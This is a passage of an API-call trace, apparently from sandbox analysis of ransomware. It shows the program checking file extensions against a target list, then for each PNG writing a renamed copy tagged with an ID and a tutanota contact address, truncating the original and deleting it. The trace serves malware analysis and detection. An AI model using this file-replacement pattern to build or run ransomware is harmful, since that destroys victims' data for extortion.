Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.792] lstrlenW (lpString=".zip") returned 4 [0212.792] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.792] lstrlenW (lpString=".rar") returned 4 [0212.792] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.792] lstrlenW (lpString=".bz2") returned 4 [0212.792] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.792] lstrlenW (lpString=".7z") returned 3 [0212.792] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.792] lstrlenW (lpString=".dbf") returned 4 [0212.792] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.792] lstrlenW (lpString=".1cd") returned 4 [0212.792] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.792] lstrlenW (lpString=".jpg") returned 4 [0212.792] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.792] lstrlenW (lpString=".doc") returned 4 [0212.792] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.792] lstrlenW (lpString=".docx") returned 5 [0212.792] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.792] lstrlenW (lpString=".pdf") returned 4 [0212.792] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.792] lstrlenW (lpString=".xls") returned 4 [0212.792] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.792] lstrlenW (lpString=".xlsx") returned 5 [0212.792] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.792] lstrlenW (lpString=".ppt") returned 4 [0212.792] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.793] lstrlenW (lpString=".zip") returned 4 [0212.793] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.793] lstrlenW (lpString=".rar") returned 4 [0212.793] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.793] lstrlenW (lpString=".bz2") returned 4 [0212.793] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.793] lstrlenW (lpString=".7z") returned 3 [0212.793] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.793] lstrlenW (lpString=".dbf") returned 4 [0212.793] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.793] lstrlenW (lpString=".1cd") returned 4 [0212.793] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.793] lstrlenW (lpString=".jpg") returned 4 [0212.793] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.793] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.793] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0212.793] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=33559) returned 1 [0212.794] CloseHandle (hObject=0x1f4) returned 1 [0212.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0212.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0212.794] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.794] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.794] GetLastError () returned 0x0 [0212.794] ReadFile (in: hFile=0x1f4, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x8317, lpOverlapped=0x0) returned 1 [0212.802] WriteFile (in: hFile=0x1f8, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0212.803] ReadFile (in: hFile=0x1f4, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.803] WriteFile (in: hFile=0x1f8, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.804] SetEndOfFile (hFile=0x1f8) returned 1 [0212.804] CloseHandle (hObject=0x1f8) returned 1 [0212.804] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.804] SetEndOfFile (hFile=0x1f4) returned 1 [0212.805] CloseHandle (hObject=0x1f4) returned 1 [0212.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.805] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0212.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.805] lstrlenW (lpString=".doc") returned 4 [0212.805] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.805] lstrlenW (lpString=".docx") returned 5 [0212.805] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.805] lstrlenW (lpString=".pdf") returned 4 [0212.805] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.805] lstrlenW (lpString=".xls") returned 4 [0212.805] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.805] lstrlenW (lpString=".xlsx") returned 5 [0212.805] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.805] lstrlenW (lpString=".ppt") returned 4 [0212.805] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.805] lstrlenW (lpString=".zip") returned 4 [0212.805] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.806] lstrlenW (lpString=".rar") returned 4 [0212.806] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.806] lstrlenW (lpString=".bz2") returned 4 [0212.806] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.806] lstrlenW (lpString=".7z") returned 3 [0212.806] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.806] lstrlenW (lpString=".dbf") returned 4 [0212.806] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.806] lstrlenW (lpString=".1cd") returned 4 [0212.806] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.806] lstrlenW (lpString=".jpg") returned 4 [0212.806] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.806] lstrlenW (lpString=".doc") returned 4 [0212.806] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.806] lstrlenW (lpString=".docx") returned 5 [0212.806] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.806] lstrlenW (lpString=".pdf") returned 4 [0212.806] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.806] lstrlenW (lpString=".xls") returned 4 [0212.806] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.806] lstrlenW (lpString=".xlsx") returned 5 [0212.806] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.806] lstrlenW (lpString=".ppt") returned 4 [0212.806] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.806] lstrlenW (lpString=".zip") returned 4 [0212.806] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.806] lstrlenW (lpString=".rar") returned 4 [0212.806] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.806] lstrlenW (lpString=".bz2") returned 4 [0212.806] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.806] lstrlenW (lpString=".7z") returned 3 [0212.806] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.806] lstrlenW (lpString=".dbf") returned 4 [0212.806] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.806] lstrlenW (lpString=".1cd") returned 4 [0212.806] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0212.806] lstrlenW (lpString=".jpg") returned 4 [0212.807] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.807] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.807] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.816] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=19485) returned 1 [0212.816] CloseHandle (hObject=0x184) returned 1 [0212.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0212.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.816] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.816] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.816] GetLastError () returned 0x0 [0212.816] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0212.819] WriteFile (in: hFile=0x168, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0212.820] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.820] WriteFile (in: hFile=0x168, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.820] SetEndOfFile (hFile=0x168) returned 1 [0212.820] CloseHandle (hObject=0x168) returned 1 [0212.822] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.822] SetEndOfFile (hFile=0x184) returned 1 [0212.823] CloseHandle (hObject=0x184) returned 1 [0212.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.823] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0212.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.823] lstrlenW (lpString=".doc") returned 4 [0212.823] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.823] lstrlenW (lpString=".docx") returned 5 [0212.823] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.823] lstrlenW (lpString=".pdf") returned 4 [0212.823] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.823] lstrlenW (lpString=".xls") returned 4 [0212.823] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.823] lstrlenW (lpString=".xlsx") returned 5 [0212.823] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.823] lstrlenW (lpString=".ppt") returned 4 [0212.823] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.823] lstrlenW (lpString=".zip") returned 4 [0212.823] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.823] lstrlenW (lpString=".rar") returned 4 [0212.823] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.824] lstrlenW (lpString=".bz2") returned 4 [0212.824] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.824] lstrlenW (lpString=".7z") returned 3 [0212.824] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.824] lstrlenW (lpString=".dbf") returned 4 [0212.824] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.824] lstrlenW (lpString=".1cd") returned 4 [0212.824] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.824] lstrlenW (lpString=".jpg") returned 4 [0212.824] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.824] lstrlenW (lpString=".doc") returned 4 [0212.824] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.824] lstrlenW (lpString=".docx") returned 5 [0212.824] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.824] lstrlenW (lpString=".pdf") returned 4 [0212.824] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.824] lstrlenW (lpString=".xls") returned 4 [0212.824] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.824] lstrlenW (lpString=".xlsx") returned 5 [0212.824] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.824] lstrlenW (lpString=".ppt") returned 4 [0212.824] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.824] lstrlenW (lpString=".zip") returned 4 [0212.824] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.824] lstrlenW (lpString=".rar") returned 4 [0212.824] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.824] lstrlenW (lpString=".bz2") returned 4 [0212.824] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.824] lstrlenW (lpString=".7z") returned 3 [0212.824] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.824] lstrlenW (lpString=".dbf") returned 4 [0212.824] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.824] lstrlenW (lpString=".1cd") returned 4 [0212.824] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0212.824] lstrlenW (lpString=".jpg") returned 4 [0212.824] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.825] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.825] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0213.020] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=18413) returned 1 [0213.020] CloseHandle (hObject=0x214) returned 1 [0213.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0213.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0213.021] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.021] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0213.021] GetLastError () returned 0x0 [0213.021] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x47ed, lpOverlapped=0x0) returned 1 [0213.084] WriteFile (in: hFile=0x218, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0213.085] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.085] WriteFile (in: hFile=0x218, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.085] SetEndOfFile (hFile=0x218) returned 1 [0213.085] CloseHandle (hObject=0x218) returned 1 [0213.085] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.085] SetEndOfFile (hFile=0x214) returned 1 [0213.086] CloseHandle (hObject=0x214) returned 1 [0213.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.086] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0213.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0213.087] lstrlenW (lpString=".doc") returned 4 [0213.087] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.087] lstrlenW (lpString=".docx") returned 5 [0213.087] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.087] lstrlenW (lpString=".pdf") returned 4 [0213.087] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.087] lstrlenW (lpString=".xls") returned 4 [0213.087] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.087] lstrlenW (lpString=".xlsx") returned 5 [0213.087] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.087] lstrlenW (lpString=".ppt") returned 4 [0213.087] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 